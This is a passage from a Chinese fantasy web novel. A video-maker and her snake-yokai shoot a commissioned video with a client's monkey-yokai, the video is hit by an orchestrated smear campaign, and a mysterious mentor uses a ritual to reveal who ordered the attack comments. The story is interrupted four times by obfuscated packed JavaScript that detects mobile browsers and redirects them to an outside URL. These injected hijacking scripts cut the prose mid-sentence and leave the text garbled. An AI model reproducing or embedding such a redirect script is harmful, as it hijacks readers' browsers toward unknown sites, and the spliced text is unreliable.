威风的警长才刚从大小姐背后冒出头,又接收到这个眼神,吓得毫毛倒立,哧溜一下躲回去,这次再也不敢出来了。 “我最喜欢‘看到过去发生的事’这个设定了,”大小姐没注意到两只妖怪的小动作,她兴致勃勃地说,“有点像游戏里的那种阴阳眼。不过这么拍,会不会有点虚假宣传啊?” 舒情默然片刻,说:“不会,是真的,它真的能看到过去的事。” 大小姐一愣:“谁说的?卖它给我的商家没告诉我,超管局检测报告里也没写啊。” “……是我认识的一个妖怪研究者,帮我考过了超管局的考试,教了我不少东西。”舒情略一迟疑,终于还是把九素告诉她的事说了出来,连着小猴子反应迟钝的原因也一起和盘托出。 最后她总结,“也许和它的繁育方式有关系……” “我就知道,那果然是个无良商家!”大小姐听完,果然七窍生烟,抱着她的拇指猴怒骂,“难怪收钱那么贵呢,原来他号称的‘妖怪概率高’是这么来的,这和那些繁殖残疾宠物的宠物店有什么区别,都一样的黑心货色!” 舒情被她激愤的语调震得后退了三寸,听她又问:“那能治吗?你那个妖怪研究专家有没有说?虽说家里不是野外,反应慢点也无所谓,但永远有三秒延迟,这也太可怜了。” 看来她虽然激愤,但完全没有弃养的打算。 舒情也不确定到底该怎么用自己的金手指治疗小拇指猴,她只得含糊地说:“应该能治吧,也许等它再长大一些,就会好了?另外还有一件事,我想拿它当主角,拍个公益短片。让大家都知道不要去这种商家手里买小妖怪……” 大小姐一口答应道:“没问题,拍公益短片的钱算我的,给大家避雷!” 她还问舒情讨要了九素的联系方式,显然是打算找专业的人寻医问药了。 一星期后,舒情坐了一个小时的地铁,抵达了一处名叫“戚风摄影”的影楼。 甲方大小姐姓戚,这影楼是她名下的产业,布景设备专业且齐全,还根据她的分镜设计做出了一套具体而微的妖怪服装。 等到了影楼,她进去一看,发现戚大小姐货真价实,也是个玩票的货——影楼里所有服装和布景,全都是按照她自己的爱好准备的,几乎全都是妖怪主题,难怪能给她空出一整天的空档期。 有钱,任性。 借着大小姐的东风,舒情这次也算体验了一把总导演的快乐,布景打光都有工作人员出力安排,她只需要确认效果就行了。 场务人员的工作一切顺利,但进入到拍摄之后,大家就都笑不出来了。 舒情和大小姐面面相觑。大小姐确认道:“咱们的剧本是,你的小红拆家作案,然后我的念念通过‘看到过去’的超能力找到线索,然后抓到你家小红,对吧?” 舒情面无表情地点点头。 “但是,”大小姐指着镜头问,“念念这表现,它像是发现了线索吗?” 小拇指猴念念穿着一身定制的迷你侦探装,正对着一地破碎的道具瑟瑟发抖,一扫之前在镜头前见到的活泼可爱样,和预计的旁白半个字也对不上。 舒情赞同地说:“完全不像,它这是发现了作案人,哦不,作案蛇的凶残,并惨遭镇压。” 小蛇妖事不关己地打个哈欠。他能有什么办法,他已经尽量收敛气息了。 谁让这小妖怪,妖力不强,直觉却如此敏锐呢。 “可能是等级差距太大了吧……”两个姑娘颓然地并肩蹲在地上,你看看我,我看看你。大小姐猜测道,“照理说,蛇也不该是猴子的天敌啊……不对,蟒蛇吃猴子吗?” 舒情幽幽地说:“蟒蛇还吃人呢。但小红……”她指指自己,给大小姐展示她脖子上的小银项链,“它像蟒蛇吗?” “小银项链”动了动,尾巴勾上去,变成了一枚项圈。 既能当饰品,也能当宠物,更能当打手,真是一款居家旅行必备的好小蛇。 大小姐羡慕地看看它,又看看自家念念。她的小拇指猴躲在离她们最远的角落里,因为小蛇的威胁,它连主人怀里都不敢待了,一脸惊恐。 “那怎么办?”戚大小姐苦恼地问,“这已经没拍那几个同框镜头了,就拍了两组单独的镜头,念念就吓成这样……能用两套道具吗?” “不行,”舒情否决道,“哪怕我切镜,用两套道具也一下就穿帮了。” 两个人都有点泄气——猴青天惨遭蛇太师打压,而且反杀无望,怪叫人气闷的,故事肯定不能这么编排。 “要不换一个方案吧,”舒情放弃了让小蛇入镜的想法,她提议,“用念念单独出镜的那套‘历史记录’方案?我让小红去隔壁化妆间玩。” 小蛇不高兴地朝她吐信子,舒情只得哄道:“没办法呀,念念害怕你。” 然而不止是小红不配合新方案,连甲方也不配合,大小姐惆怅地说:“但我就是喜欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15903020|176716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个‘警长’剧情啊,我喜欢悬疑破案剧。像前段时间女主是小法医的那个——” 女主? 舒情忽然灵机一动。 “有了,”她盯着屏幕上拍下来的素材看了一会儿,说,“我可以在这个方案上做一点微小的调整。” 她在脑中快速把已经录制好的素材拼接剪辑了一版,调整了一遍布景;又找来一面镜子,靠镜面反射营造出虚假的同框效果,然后指挥着两只小妖怪,各自补了几个镜头。 最后,她把所有的素材整理到一起,现场给金主表演了专业级剪辑,咔嚓咔嚓操作一通,在大屏幕上播放,给金主展示她的新创意。 大小姐看得目瞪口呆,再次赞美:“太厉害了!” 新创意里的“猴青天”摇身一变,变成了靠超能力破案的呆萌小侦探,日常在嫌疑蛇的压迫下敢怒不敢言。 而“嫌疑蛇”漫不经心地游走在黑白边界,神秘莫测,妥妥是一款悬疑男主的标配。 “这个更有意思,”大小姐兴致勃勃地说,“呆萌怂浪小侦探和凶残嚣张蛇蛇,这不就是最流行的那种cp吗!比单纯的警长办案剧情好玩多了,我喜欢这个,什么时候能上传?” 舒情也松了口气。虽然这批连真同框都没有的素材十分挑战她的剪辑技术,但好在金主满意,她自己也满意,剩下的困难都不是事,完全可以克服。 “现在这个只是粗剪版,”她笑眯眯地说,“我回去再修一修,还得加配乐和特效,等剪完精修版,再发给你看。你有什么其他的要求吗?” 大小姐摇摇头,干脆地表示,只要效果好,一切交给舒情自由发挥,她就等着看成品。 钱多事少好说话,真是个神仙甲方。 如果神仙甲方座下的神兽能再配合一点,那就彻底无可挑剔了。 舒情抬手看了看时间。她原本打算今天一次性连着公益短片一起拍完的,但临时改了方案,现在来不及了,而且念念的状态仍然不好。 “那下次再拍吧,我明天再来。”舒情向大小姐道别,“有什么事我们线上说?” 大小姐比了个“ok”的手势,又建议:“公益片你要不也换个方案?就算是到明天,念念也还是会怕你家小红的啊。” “刚才想过了,都没有现在的这个版本好。”舒情遗憾地叹口气,“明天再来,我就不带小红了……” 她一边说着,一边伸出手去抱小蛇妖。岂料小蛇妖嗖地躲开了她的手,一扭头,闪电似的窜进了背包里,舒情抱了个空。 舒情看着自己空荡荡的手,“?” 好端端的,没招它没惹它,就说句“明天不带着它”的闲聊而已,这就生气了? 12. 冷战 直到舒情回到家,小蛇妖还在单方面和她冷战。她惆怅地看着小蛇妖钻出背包爬上床,琢磨着自己究竟是怎么得罪了它。 她试着朝它伸出手,小蛇朝她嘶嘶龇牙,绯红的竖瞳冷冰冰的。 “怎么忽然这么凶呀?”舒情哄着问,“不是说了都是为了赚钱搬家嘛。” 小蛇妖还是盯着她,态度一点都没有松动的意思。 舒情猜测道:“你不喜欢念念?” 小蛇撇开了脑袋,舒情就知道自己猜错了,她又试探着问:“不喜欢那个戚大小姐?” “……也不对?那是你累了?还是你不高兴我把你拍成反派?……总不至于是不高兴我把你和念念剪成cp吧?” 小蛇妖这次转回头来看着她,不情不愿地,微微点了下头。 “还真是?”舒情好笑道,“那都是假的啊,弄着玩的。你就这么看不上念念?” 小蛇冷不丁地探头咬来,它不咬她,就咬她的袖口,恨不能给她的袖子咬出个洞。 “……” 舒情想了想,倒也理解。首先,念念也是公的,妖怪界的性取向不一定有人类这么开放;其次,它俩一个属于爬行纲,一个是灵长目,物种跨得也有点大,估计不怎么能欣赏对方的外貌;最后,论起妖力等级,念念毕竟比小蛇妖差远了。 小蛇以后就算要谈,也得谈个和它差不多的雌性蛇蛇吧,总不可能谈个灵长类动物。 舒情自认为弄明白了问题的根由,哭笑不得,干脆趴到床上,面对面地跟它保证:“都是假的,只是给大家看个乐,不会真让你和念念凑一对的。” 小蛇默默地看着她,尾巴尖悄没声勾了勾她的衣角,舒情心说:有戏! “放心吧,”她趁热打铁地承诺说,“等以后你长大了,我肯定给你找个和你一样又漂亮、又厉害的小雌蛇来配你!” “嘶——!” 小蛇妖愤怒地朝她龇牙,凶完,哧溜一声钻到了枕头底下,不管舒情说什么,它都再也不肯出来了,赤红的竖瞳在黑洞洞的缝隙里盯着她,隐约还让舒情看出了一点委屈。 要冷战的是它,阴晴不定的也是它,不知道它现在又在委屈个啥。 难道说,破壳没有半个月的小蛇崽子,也和纯洁的小学生们一样,对谈恋爱避之不及? 舒情挠了挠头,考虑到年龄和物种都存在巨大天堑,她放弃了猜测小蛇在想什么。 语言交流失败,那就换食物诱哄,舒情拿了各种糖果鱼干点心,捡着小蛇妖爱吃的,在床头柜上祭天似的排成了一排。 可惜被“祭祀”的对象看都不看,祭祀得非常失败。 舒情无奈极了。 难弄,先干活吧。 舒情回到电脑前去剪视频。之前干活的时候,都有小蛇妖盘在脖子上陪着她,现在小蛇不陪她了,她还不大习惯,每隔半小时,就扭头往枕头下面看一眼。 视频剪完了一半,小蛇还一动不动,看样子气得不轻。 舒情很无奈,回头再看看自己剪出来的视频,觉得简直是一坨,自己看着都嗑不动。她糟心地灌了自己一听冰可乐,把剪辑软件一关,决定明天再战。 临关机前,她看了一眼屏幕右下角,零点一刻。这个时间点发信息,搁谁身上都非常冒昧,不过九素不一样。 他帮她备考那一星期,不管早上六点还是凌晨三点都秒回,上次回复的时候也是深夜两点,跟他,不用这么讲究时间段。 “前辈,江湖救急!”舒情发了个猫猫作揖的表情包,“你对小妖怪生气了该怎么哄这种事,有什么经验吗……” 她三言两语地把事情描述了一遍,又夹带私货地再次邀请道:“前辈帮了我这么多忙,等什么时候你有空了,我请你吃个饭?最近新开的一家日料店挺不错的。” 小蛇妖冷眼旁观。等到她洗漱完爬上床,它才从枕头底下钻出来,远远地蜷卧到了一边,绝不给她下手抓它的机会。 “小红啊,”舒情百思不得其解地问,“你到底是怎么了?” 小蛇不睬她。直到她一脑门子官司地睡着了,它终于慢慢地游到了她手边,不解气地张开嘴,轻轻地咬住她,用尖牙在她指腹上来来回回地碾磨。 她亲口说的,他是她的妖怪啊。 连超管局官方都盖章承认了,她难道是忘了吗? 小蛇妖不甘心地承认:虽然这一世不能在一处了,但是发现她一点儿不把他放在心上,他心里其实是这么难过的。 他永远也不会有什么别的妖怪了,可是她呢,她以后会有个什么“别人”吗? 大概是会的吧。她欣然地令他和别的妖怪亲密暧昧,她看他的眼光,和他丝毫不一样。 当她有一天遇到了她的那个“别人”……当她遇到那个人…… 小蛇妖觉得这应该是件好事,然而他更难过了,心里塞满了不可言说的酸涩。他垂下头,蛇信子缓慢地舔舐着她的手。她的血肉早已不像从前那样灵气氤氲,但依旧对他有不可抵抗的吸引力,他眷恋地轻轻舔着,觉得她的气息那么甘甜。 舒情仿佛是梦中觉察到了,食指微微一蜷,小蛇妖感觉到她无意识地摸了摸自己的脑袋,还咕哝了句,“乖哦……” 小蛇妖把脑袋贴在了她手心里,轻轻地蹭着,靠这点虚假的爱抚,想给自己一些慰藉。 如果可能的话,他希望那一天能晚一点……更晚一点。 舒情第二天醒过来,先去看手机。果然,九素深夜里给了她回复。 “像个活体的旅行青蛙,”舒情偷笑,“白天在输入框里放置一个问题,晚上收到答案,然后爆出奖励。” 她翻了个身,一伸手把还在睡觉的小白蛇拎回自己怀里,搂着它看九素的回答。看了两行,她挠了挠头,表情诡异起来。 “妖与人认知相通,不可将之视作宠物。”九素告诉她,“哪怕只是玩笑,也不要把它和其他妖怪相配,无论是异族还是同族。不要收养其他妖,也不要让其他人介入。” 他说,“妖认定了一个人,是一心一意的。” “什么意思,”舒情嘀咕道,“小红不想找别的小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15903021|176716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雌蛇,想跟着我一辈子?听着怎么奇奇怪怪的……” 小蛇妖在她怀里动了动,装着还在睡觉,一只眼睛却悄悄地盯着她,等着看她的反应。 舒情毫无所察,没用多久,她就把这纠结放在了一边——她压根儿就没有养别的妖怪的打算,有小蛇就够了。 至于其他的人,也无所谓,她一个人住在外地,绕不开的“其他人”只有未来可能同居的男朋友,但她对于谈恋爱这种事,始终抱着一种可有可无的态度。 截止到目前,能让她有点“好感”的异性人类,就只有九素一个。 然而线上建立起的这点好感,顶多就是“可以撩一撩”的程度。要是九素已经有了女朋友,或者某一天露出一点叫她下头的征兆,她绝对掉头就走,他远远没有小蛇妖重要。 何况九素也没有想被她撩的意思,他虽然有问必答,但从不接受她吃饭的邀请,像个不求回报的活雷锋。 养了小蛇,就要负责,反正她也不准备弃养,小蛇想一直跟着她,就跟呗。 如今城市里的养宠人,谁不是把宠物当崽崽养一辈子呢? 但是吧……舒情苦恼挠头。矛盾的根源是抓到了,导火索却还在熊熊燃烧,她的商单还是得做。 那就,先去了结了她手里的商单,再去哄蛇! 她把还在赌气的小蛇妖留在家里,自己去了戚风影楼,按照昨天的计划,给念念拍公益短片。念念一开始还是有点怕她,但发现小蛇妖今天不在,光速恢复了活泼,拍摄很顺利。 舒情下午就回到了家,给小蛇妖打包了一盒新鲜的虾肉丸子。小蛇妖一口一个,漂亮的红眼睛盯着舒情,那眼神仿佛在说“就这样”? 嗯,看来进度条已经达到了百分之八十。 舒情用一包鲜虾丸子收买了生闷气的小妖怪,就快速从昨晚那心烦意乱的状态里抽离了出来,回头再看看昨天的成果,顺眼多了。 金主看着也很顺眼,收到她发来的成品以后,迅速给她转来了十万的尾款,还附带了一大串点赞表情包。 “超棒的!”戚大小姐快乐地说,“昨天还以为拍不成了呢,没想到效果比我之前想的还好多了。我打算等到晚上流量大的时候发联合投稿,就九点吧,你别忘了哦!” 舒情给她回了个ok,长长地伸了个懒腰。她一回头,发现小蛇无声无息地盘在她的电脑椅背上,朝她吐信子。 舒情往椅背上一靠,用一根指头逗弄它,笑眯眯地问:“不生气啦?” 小蛇妖往后一躲,红眼睛默默地望着她,靠一双会说话的眼睛和灵活的肢体语言表达出了“生气,说两句好话来听听”的复杂含义。 行吧。 “这次是已经和人家说好了,为了赚钱,只能把它剪完。”舒情保证说,“我答应你,以后都不拍这种把你和别的小妖怪组cp的视频了,也没有小雌蛇。” 小蛇妖沉默片刻,终于甩甩尾巴,重新游回了她肩膀上,还用脑袋亲昵地贴了贴她。 唉,小妖怪一点也不难哄,但交流是个大问题。 13. 发烧 “哎,像你这个等级的小妖怪,有没有可能学会说话呢?”舒情顺手揉了它两把,突发奇想地问,“你要是会说话就方便多了,无障碍沟通,省得我每次都去问九素。” 小蛇妖回答不了她这个问题,她就又打开了和九素的对话界面,答谢道:“多谢前辈,哄好了!!” “像小红这样的小妖怪,能听懂人类说话,那能学会和人类沟通吗?”她问,“就算生理结构限制,它不能说出人话,但汉字、拼音,总能认识吧。” 不等九素回复,舒情脑子里已经想象出来了给小妖怪当幼教的系列日常,觉得是个不错的素材。一举两得,既能解决沟通问题,又能用来拍视频。 她立刻打开购物app,搜索“小妖怪识字课本”,果然早有许多妖怪饲养员们诞生过类似的想法。出版社接到此类需求,已经发明了给小妖怪们扫盲的教学套装,还根据猫、狗、鸟、爬行动物等分门别类,底下的评论活跃地在汇报小妖怪们的教学进度。 舒情货比三家,沉浸式地一番挑选,直到小蛇妖轻轻地啃她手指,她才反应过来,到晚饭时间了。 “小吃货。”她亲昵地用手指轻轻捏捏它的脑袋,“行,我叫个外卖。” 她点开了她推荐给九素的那家隐町日料店,点了一波外卖,刺身、寿司、甜虾,吃得人和蛇都心满意足。 舒情按时按点地和戚大小姐发了联合视频,先不急着看数据,让它在后台里沉淀一会儿。 她瘫在沙发上,下单了妖怪的识字教材,又开始刷手机里的租房软件。 “下月底这边的租金就到期了,到时候我就不续租了。”舒情跟小蛇妖嘀咕,“我觉得这片小区不错,近郊区,人相对少点,离戚风影楼也近。” “我觉得大小姐人挺好的,不知道她愿不愿意和我长期合作……” 她嘀咕着在戚风影楼附近翻看,收藏了一片花园洋房,又贼胆包天地收藏了一片联排小别墅。 “等我做起来了,就租个小院子住,”舒情说,“在院子里种一棵矮一点的树,那时候你肯定已经长得比现在大只多了,你可以盘在树上睡午觉。再种一些花花草草,还能种点菜……不过我也就只能种点薄荷、辣椒什么的,呃,你能吃辣吗?你应该不能吧。” 小蛇妖轻轻蹭蹭她的脸,他什么都能吃——就算是她再来给他喂一颗毒药,他这时候也愿意一口吞下。 “阿舒!”这时,舒情的手机叮的一响,甲方大小姐给她来信,“啊啊啊啊啊啊!” 连着足有八条“啊啊啊”,尖叫声穿透屏幕而来,舒情被她震得手机都差点没拿住,缓缓打出一个问号。 金主妹子-戚昀:“上排行榜前十了!” 金主妹子-戚昀:“推流没白买!” 金主妹子-戚昀:“我家念念和你家小红的新cp也是火了呜呜呜呜” 舒情干笑着叉掉了对话框,希望小蛇妖没注意到戚昀说的“新cp”。 她自己也打开短视频app——戚大小姐眼界奇高,她说的“排行榜”不是舒情平时看的那种分区排行榜,是主页总榜。 此刻,她们联合发布的那条视频就飘在首页上,看来戚昀大小姐确实买了不少推广。 舒情没下手去翻评论,听戚昀提一嘴,她也能想到评论区里有不少嗑cp的,她家小妖怪恐怕不爱看。她就把推送到首页的私信通知截了个图,给视频名字和自己的id打了一层马赛克,贴进朋友圈留念。 还特地标注说:“来自亲爱的金主姐姐的商单”。 她哼着歌去沐浴洗漱,给自己点上了香薰蜡烛,躺在床上打开投影开始追剧,觉得这比在大厂打工的人生好多了——放在从前,哪敢想象十一点能上床,能下班就不错了。 她追完一集剧,打开朋友圈再看的时候,果然收获了一群还在加班的前同事,排长队在她的朋友圈底下留言了一长串“勿相忘”。 舒情心有戚戚焉,送上了一串安慰,舒舒服服地翻了个身,抱着她的小蛇睡觉。 隔壁隐约还能听到不太和谐的杂音。她想,等她换了住处,就什么烦心事也没有啦! 第二天,舒情是被小蛇妖咬醒的,它趴在她胸口上咬她的锁骨,红色的眼瞳里难得地流露出几分焦急之色。 “小红饿了吗?饿了也不能啃我啊,我这又不是排骨。” 舒情开玩笑似的问它,她坐起来,忽然一阵头晕,心跳也有点快。她摸了摸自己的额头,迷惑地想:我发烧了? “不会吧,”她咕哝,“也没着凉、也没劳累的,难道我是个劳碌命,忙没事,闲下来反而不行?” 她又躺了下来,想着是不是量个体温。然而她从小实实在在地遵循着她妈妈给她的那句“锻筋骨,舒情志”,工作之后虽然忙得没空锻炼了,但也找到了金手指加持,鲜少生病,她这住处连药都没有。 舒情摸出手机,选择送药上门。小蛇妖爬到了她头上,全身萦绕着纯白的寒气,显然,它准备用自己给她来个魔法降温。 舒情脑袋凉丝丝的,十分感动,但不影响她笑喷,“人家发烧都顶个冰袋,我顶条蛇?好的吧,感谢你提供崭新的拍摄素材,再过几个月,你就能当空调用了。” 小蛇妖难得的善心遭到了嘲笑,在她眉心垂直五厘米的位置凶狠地嘶嘶。 “好好,宝贝儿,知道你是关心我。”舒情怕它给她鼻子上来一口,赶紧好言安抚。她又琢磨,“奇怪了,我昨天才刚发了视频,还爆了,正应该是最有精神的时候啊……我的金手指失效了?还是说,这次因为是接别人的单,好处都给了金主?” 她疑惑着打开短视频app,一瞬间,目光在后台评论区里定住了。 “这tm……小猴子都快吓死了” “呵呵,一看就是被迫营业” “哈哈哈哈笑死我,把反应迟钝包装成读取过往的超能力,第一次见到这么清新脱俗的洗白” “想红想疯了” “没记错的话这个up还被小红救过吧?真新鲜,见过蛇咬农夫,第一回见农夫咬蛇”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15903022|176716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “物种都不一样炒尼玛cp呢?” 连她那条公益小短片底下,都是铺天盖地的类似评论: “谁知道这猴子是怎么导致的残障” “妖怪都能被虐待啊” “已举报给超管局不用谢。举报链接在此” 短短一个晚上,视频风向一百八十度大转弯,满屏都在指责她逼迫妖怪表演、虐待妖怪炒作。 戚昀大小姐估计还在睡觉,没看见这个阵仗,整个评论区都被一水儿的嘲讽和怒骂占领了,几乎没人为她们说话。 不……还是有的,舒情手指往下一划,在评论区里看到了九素。 九素说:“两只妖怪没有被虐待,看鳞片、毛色、精神,都能看出它们被养得很好。小猴子念念的确是因为人为繁育而无法控制妖力,所以显得反应迟缓,但这与饲主无关,与拍摄视频的人更无关。” “辱骂拍摄视频的人,只能展示各位堪忧的智慧,除此之外别无意义。” 当然,这条评论很快也被铺天盖地的脏水淹没了。 九素本来还在牙尖嘴利地据理力争,然而很快,有人黑进了后台,明晃晃地贴出了素的唯一关注人和唯二的评论,认为这纯粹是up主演技拙劣的精分。 舒情的目光一直停留在那条贴出来的截图上。直到外卖电话打进来,她才接起了电话,喑哑地回了一句“放在门口就好了”。 她放下手机,闭上眼睛,开始积攒起床拿外卖的力气。小蛇妖从她身上游了下去,须臾折返,重新窝回她身上,继续散发寒气。 “乖,”过了几分钟,舒情有气无力地去抓小蛇,“我去拿外卖……” 小蛇舔了舔她的眉心,舒情睁开眼,发现外卖袋已经被拖上了床头柜。 舒情:“……” 她眼神诡异地看看小蛇妖,感到很难想象它是怎么把一个有它五倍大的外卖袋拖进来的。 量完体温,39.1,是有点严重。 她吃了一片布洛芬,抱着小蛇妖,准备睡它个昏天黑地。临睡前,她略一迟疑,还是打开了通讯软件。 九素果然给她留了言。他并没有丝毫怪她随意乱用他给的资料、给他添了麻烦的意思,反倒回复了她那条约他吃饭的信息:“好。今晚六点,我们在这家日料店见面。” “和那位约你拍视频的人一起,带上她的猴子,不要带你的蛇。” 舒情迅速回复道:“好。” 到晚上六点,她的退烧药怎么也该发挥作用了。这种舆论危机越早应对越好,不能放任它在那没完没了地发酵,否则她的号恐怕就不能要了。 她给戚昀留了言,闭上眼睛抓紧时间睡觉回血。手机屏幕黯淡下去,好像就已经将那些尖锐言辞、纷纷扰扰,一概阻隔在外了。 然而在她看不见的地方,笼罩她身的纯净灵光已然被漆黑的杂质浸染。 小蛇妖盘踞在她的眉心,一次又一次地企图将杂质吸收到自己体内,然而那黑气散而复聚,源源不绝,始终是杯水车薪。 14. 似曾相识 舒情睡了一整天,到晚上,一量体温,38.6。看来退烧药没发挥什么作用。 但她也没太当回事——她自诩堂堂一社畜,上一次发烧的时候,烧到了39.3,还在熬夜加班力挽狂澜呢。现在还不到39度,而且就出去吃个饭,没两小时就回来了,小事。 小蛇妖却很不情愿,在她脸上脖子上爬来爬去,不安地吐着信子。 “没事啊,”舒情摸了摸小蛇妖的脑袋,忍着一阵阵的眩晕,笑眯眯地嘱咐它,“我去不了多久,等回来给你打包好吃的。” 话是这么说,但谨慎起见,她还是又吞了片布洛芬,在小裙子外面多披了件薄外套,这才出门。 那家隐町日料店离她住处很近,只隔了一条街。舒情虽然还在发烧,走过去也不费劲。 她和风风火火的戚大小姐在日料店门口接上了头,大小姐义愤填膺地说:“肯定是被搞了!” 舒情僵着脖子以对抗头晕,全身都转过去,给迎上来的服务生报上了手机号。 “八成是那个破商家,也可能是看咱们火了,来搞事的工作室之类的,”大小姐缜密地分析说,“你不知道,现在竞争可卷了……” 前面带路的服务生这时候回过头来招呼她们:“到了,两位这边请。” 他拉开了包厢的木门,里面已经有一个人,懒懒地靠着软绵绵的枕头,咬着吸管在喝可乐。 这间日料店讲究高端,整个装修都追求一种淡雅的“禅意风”,坐在这里品个茶是挺好的。偏偏他要在这里喝三块钱一罐的廉价“肥宅快乐水”,本来应该是格外掉价、格外突兀的。 然而他坐在那里,一头柔顺的银色长发披垂,衣裤都是雪白的,就连一张脸和衬衣领子里露出的小半截锁骨,都白皙得像是在发光,看上去干净得纤尘不染,近乎妖异。 廉价的肥宅快乐水捧在他手里,身价足足翻了百倍,感觉已经不是这家人均五百的日料店配有的高级饮品了。 舒情看得一惊,脑袋都不晕了——当然不是被美貌暴击的,信息网络这么发达,好看的男人压根儿不稀罕,她惊愕的是,这人和她那天随手画的九素竟然有七八分像。 是巧合吗,还是说,真的有缘? 九素弯起眼睛来朝舒情一笑,放下可乐站起来,“阿舒。” 舒情回过神来,报上了自己的名字,又居中介绍,“这位是念念的主人,戚昀。” 她因为生病,声音有点沙哑,九素给她倒了一杯温暖的姜茶。 他向戚昀颔首致意,省去了额外的寒暄,等服务生上齐了菜,就直接切入正题:“东西带齐了吗?” 舒情“嗯”了一声,示意戚昀关好包厢的门,她打开背包,露出了里面的四件特殊的“仪器”。 在戚昀看来,那就是超管局给舒情的一些现代化设备。虽然她知道这些东西的用途和她想象的肯定不一样,但她自觉得都认识——绘制有不明图案的网、一个微型的“伞”,刻着特殊图案的“碗”、还有一面带电子调控的小镜子。 舒情的资料没有白背,小声地给戚昀解说:“能量提纯仪、集中增幅仪、能量导向仪、精神能量显化仪。” 戚昀:“……” 听都没听过,被她洗脑得满脑子“姨姨”。 九素信手把它们逐个摆在了榻榻米上。他放下最后那面小镜子的一瞬间,整个包厢里仿佛忽然之间起了一阵寒风。 “姨姨”们组成了一个形状十分特异的图案,像个具体而微的小法阵,看一眼,几乎让人毛骨悚然。包厢里的温度遽然下降,而舒情手腕上的电子表数字疯狂地往上跳,装饰似的指针毫无头绪地一通乱转,表盘甚至发出了尖锐的红光。 那原来不是个普通的手表,而是个能量测量表盘。 “不要看,”九素轻声说,“闭上眼睛,就不会冷了。” 对面两位都是妖怪爱好者,怎么可能不看,瑟瑟发抖地各抱着一大杯热茶,一起挤在舒情的外套底下,四只眼睛圆溜溜地瞪着,完全不打算闭眼。 念念反应虽然慢了点,但毕竟是这里感官最敏锐的生物。那小法阵人看了觉得阴冷难受,对妖怪却有种说不出的吸引力。三秒之后,它确定了这股神奇吸引力的来源,从戚昀手上跳了下来,试探着往仪器之间挪过去。 戚昀一把抓住了它。舒情安抚性地拍拍她肩膀,她这才惊疑不定地松开手,目送着念念慢慢挪到了那“伞”旁边。 舒情再低下头,发现她腕上的仪表盘稳定在了一个高得吓人的数值上。 九素这时候问:“你们有怀疑的对象吗?” 两人对视一眼,戚昀立刻把自己的猜测一五一十地说了。 九素对这个猜测没有发表任何意见,只是点点头,问:“有什么和他们有关系的东西吗?”想了想,又补充,“网上的账号也行。” 他刚作了一波声势浩大的法,戚昀对他十分信服,立刻将跟着念念来的一堆杂物双手奉上——这对应的是“那个破商家”;舒情打开手机,找到一个短视频账号,翻开了主页——对应的是“来搞事的工作室”。 九素将舒情的手机安放在镜子对角的“能量导向仪”——那个小碗里,正好和念念形成了一个三角形。随后,他画了个十分诡异的手势。 戚昀什么都不懂,倒没什么特殊的感觉。然而舒情已经把超管局给她的那些手势图倒背如流,再看九素这个手势,几乎寒毛耸立,感到一股直冰到人心里的妖异感。 她赶紧又喝了口热茶,试图把那股子寒意往下压,无果,只得闭上眼,这才感觉到四肢百骸正在回温。 一个疑虑随之浮上水面:素到底是什么人? 念念恰好在这时尖叫了一声,漆黑的瞳孔透出了银白的光。那光芒越来越明亮,数秒后,它的眼睛几乎都已经覆盖上了一层银白色。 舒情连不舒服都忘了,和戚昀紧紧抓着彼此,目瞪口呆地望着眼前这一幕。 那小镜子里原本照着舒情的手机屏幕,不知道怎么的,镜中屏幕上的字在一片银光中开始倒流。流速越来越快,渐渐地,连外围 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15903023|176716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手机的轮廓都变了,变成了一款最新的水果牌手机。 舒情推了戚昀一下,“录像,录像!” 戚昀丢下寿司,手忙脚乱地打开手机摄像头。镜子里那面屏幕已经显现出了新的画面,十分好辨认,是购物软件后台的私聊界面。 说话的人顶着个系统自动生成的头像,名字也是一串随机的乱码,显然只是个不暴露身份的小号。 Abw3275:“【视频链接:毛茸茸也能当大侦探吗?】” Abw3275:“在这条下面刷‘妖怪被迫营业’、‘第一次见到这么清新脱俗的洗白’、‘虐待妖怪炒cp’,晚上十二点准时发,每十分钟带一波节奏。” 陈:“ok” 